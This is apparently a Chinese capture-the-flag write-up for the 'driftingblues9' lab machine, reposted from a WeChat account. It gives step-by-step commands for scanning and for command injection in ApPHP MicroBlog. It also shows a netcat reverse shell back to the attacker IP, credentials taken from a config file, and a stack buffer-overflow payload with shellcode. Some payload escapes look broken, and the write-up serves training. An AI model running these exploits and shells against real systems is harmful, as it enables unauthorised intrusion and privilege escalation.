攻击者IP:192.168.56.108 桥接(自动) vmare
受害者IP:192.168.56.130 仅主机 vxbox
参考:https://blog.csdn.net/Perpetual_Blue/article/details/124170627
主机发现
aro-scan -l
端口扫描
nmap -p- sV 192.168.56.130
信息收集
扫描目录
cms:ApPHP MicroBlog
Version: 1.0.1
http://192.168.56.130/README.txt
http://192.168.56.130/docs/ChangeLog.txt
下载地址
https://download.freedownloadmanager.org/Windows-PC/ApPHP-MicroBlog/FREE-4.0.1.html
搜索相关的版本漏洞
searchsploit ApPHP MicroBlog
复现命令执行漏洞,有空格的命令没法用
http://192.168.56.130/index.php?jiko);system((whoami)=%2f
利用脚本反弹shell
python2 33070.py http://192.168.56.130/
nc -e /bin/bash 192.168.56.108 1111
获得用户名和密码
include/base.inc.php
clapton/yaraklitepe
提权
python -c 'import pty; pty.spawn("/bin/bash")'
su clapton切换用户
查看note.txt文件,发现对我们的提示信息:buffer overflow is the way. ( ° ʖ °),告诉我们要利用缓冲区漏洞(或者下载文件后strings input,发现其存在一个未进行限制的strcpy函数,也可以确定)
提示新手缓冲区溢出看这俩网址:
https://samsclass.info/127/proj/lbuf1.htm
https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
input是一个二进制可执行文件,猜测应该就是对该文件进行缓冲区溢出,从而得到root权限。
使用kali中*msf-pattern_create生成垃圾字符,并发送到input程序中
msf-pattern_create -l 2000
使用gdb进行动态调试。
gdb -q input
计算下此地址:0x41376641的偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41376641,得到其偏移量为171。用 python 构造字符串:
r $(python -c 'print("A" * 171 + "B" * 4 + "x90" * 64 )')
可以用,查看ESP寄存器的值:
用esp 寄存器的 0xbf970c10替换 4 个 B,因为是小字节序,倒过来写,构造 payload:
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "x10x0cx97xbf" + "x90"* 1000 + "x31xc9xf7xe1x51xbfxd0xd0x8cx97xbexd0x9dx96x91xf7xd7xf7xd6x57x56x89xe3xb0x0bxcdx80")')); done
原文始发于微信公众号(王之暴龙战神):driftingblues9
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论